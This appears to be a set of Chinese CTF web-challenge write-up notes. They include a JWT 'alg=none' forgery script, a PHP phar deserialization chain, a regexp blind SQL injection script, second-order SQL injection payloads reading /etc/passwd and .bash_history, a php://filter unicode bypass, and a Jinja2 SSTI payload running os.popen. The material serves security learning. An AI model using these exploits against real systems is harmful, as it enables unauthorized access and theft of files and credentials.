脑子有点不够用了,先看其他师傅的
参考博客
访问/leftt/
/door
发现里面没有路径提示,只有个check_open()函数,f12去js里面找一下
function check_door() {
var all_radio = document.getElementById("door_form").elements;
var guess = null;
for (var i = 0; i < all_radio.length; i++)
if (all_radio[i].checked) guess = all_radio[i].value;
rand = Math.floor(Math.random() * 360);
if (rand == guess) window.location = "/open/";
else window.location = "/die/";
}
/open的js脚本
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function open(i) {
sleep(1).then(() => {
open(i + 1);
});
if (i == 4000000000) window.location = "/fight/";
}
/fight
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}
function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
// TODO: unscramble function
}
注册新用户登录,点击提交flag发现提示没有权限,转到f12source查看js脚本
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
提示用koa框架写的,所以查看框架结构nodeJs 进阶Koa项目结构详解
查看controllers下的api.js
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
jwt验证,签名算法为HS256
原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+ payload +‘.’)并将其提交给服务器。
来源
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')
print(token)
总结?思路是从已有的脚本资源中发现使用的框架,在了解了框架代码结构之后找到jwt认证,然后再伪造
传文件之后查看文件发现不能直接展示,发现了file参数
尝试读/etc/passwd没有效果,包含file.php出了代码
header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); # 目录限制 $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "
There is no file to show!
"; } $show = new Show(); # 展示文件是直接高亮代码的 if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
发现有目录限制,包含一下upload_file.php
include 'function.php';
upload_file();
?>
看一下function.php
//show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; # 改名加后缀 //mkdir("upload",0777); # 新目录且有权限 if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo ''; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "
请选择上传的文件:" . "
"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>
base.php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$a->str = $b; //触发__tostring
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$b->str['str'] = $c; //触发__get;
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a); //触发类是C1e4r类
$phar->addFromString("text.txt", "test"); //签名
$phar->stopBuffering();
?>
https://blog.csdn.net/l2872253606/article/details/125265138
正则注入
扫目录,设置延时–delay防止429
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
payload:
username:
passwd:||sql语句;%00
语句发生变化如下
select * from users where username='\' and passwd='||sql;%00'
前单引号闭合,后单引号被00截断
import requests
import string
import time
url= "http://13225f23-d92b-48bf-b571-093a9f79f5f7.node4.buuoj.cn:81/index.php"
password = ""
str = '_'+string.ascii_lowercase+string.digits
for i in range (1,50):
print(i)
for j in str:
data = {
'username':'\\',
'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(password+j)
}
print(data)
res = requests.post(url=url,data=data)
if r"welcome.php" in res.text:
password+=j
print(password)
break
elif res.status_code == 429:
time.sleep(0.5)
you_will_never_know7788990
登录即可
git泄露、爆破、二次注入
dirsearch -u xxx -t 5 --delay 0.5 -e *
python2 githack http://xxx.com/.git/
得到write_do.php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
f12console有提示查看git历史
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$sql = "select category from board where id='$bo_id'";
留言查看的地方没有过滤就进行输出
构造category:asd',content=database(),/*
留言处content:*/#
此处井号只是单行注释,不影响下面
$sql = "insert into comment
set category = 'asd',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
读用户
a',content=(select (load_file('/etc/passwd'))),/*
读历史
a',content=(select (load_file('/home/www/.bash_history'))),/*
读tmp目录下的.DS_Store文件
a',content=(select (hex(load_file('/tmp/html/.DS_Store')))),/*
再load一下
a',content=(select (hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')))),/*
oh我就说,读/vaw/www/html目录下的,tmp目录下的不能用
抓包
get传user空,pass=hash
页面跳转,抓包有
抓包访问之,
传参/etc/passwd有回显,尝试data伪协议发现被禁,有过滤
不能命令执行,根据前辈博客,尝试包含临时文件,利用PHP7 Segment Fault
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = ""
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
#来自https://blog.csdn.net/weixin_45646006/article/details/120817553
蚁剑能连接但是没有什么权限,burp抓包传一下参数,phpinfo()
学习博客,参考此处
打开页面,第三个链接有源码
<?php
error_reporting(0);
// 显示源码
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
// 过滤函数,不允许伪协议关键字
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
// 通过POST传数据
$body = file_get_contents('php://input');
// 数据需要为json格式字符串
$json = json_decode($body, true);
// 参数键为page
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
// file_get_contents指向page参数所指定的文件
$content = file_get_contents($page);
if (!$content || !is_valid($content)) { //对content也进行valid检测
$content = "not found
\n";
}
} else {
$content = 'invalid request
';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
json_decode可以对unicode直接进行解码,但是函数匹配不到
<?php
//\u0070\u0068\u0070是php的unicode编码
$body = '{"page":"\u0070\u0068\u0070"}';
echo $body;
$json = json_decode($body,true);
echo "\n";
var_dump($json);
所以思路就是将payload直接unicode编码传输
php://filter/convert.base64-encode/resource=/flag
captf帮一下忙吧
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
文件secret,传参secret
/secret?secret=12312124
报错页面
使用RC4加密方式,且密钥已知,“HereIsTreasure”
后续使用了render_template_string()函数进行渲染
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("key", "text")
将{{7*7}}进行加密后传入
页面返回49,括号内表达式执行成功
jinja2模板执行读文件操作
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
.%14JP%C2%A6%01EQT%C2%94%C3%96%1A%C2%AA%C2%8D%C3%89%C3%A6%0B%C2%ACS8%C2%B8P%C3%A1~%19%C2%AE%07%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B%40%C2%9D%C2%B2%C3%9Dd%03%C2%AD%15%C2%B7%C2%A9yS%25%C3%96b%2B%C2%98%2C%0F%C2%8D%C3%B7Z%1E%C3%A5%C2%91%17%C3%B2%0E9E%23%C2%A9%00%C3%9D5%C3%A1%7B%C3%9D%7CA%2Aq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C3%B3%C2%9C
https://blog.csdn.net/qq_46263951/article/details/118735000
二次注入,登陆显示用户名
import requests
login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
#print(data)
data_login={'email':'15@%d'%i,'password':'1'}
requests.post(register_url,data=data_register)
rr=requests.post(login_url,data=data_login)
rr.encoding='utf-8'
r=rr.text
location=r.find('user-name')
cont=r[location+17:location+42].strip()
content+=cont
print(cont)
#content=content.decode('hex').decode('hex')
print(content)
只是后面写出来,线程问题buu报429,拼一下吧
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
action=/flag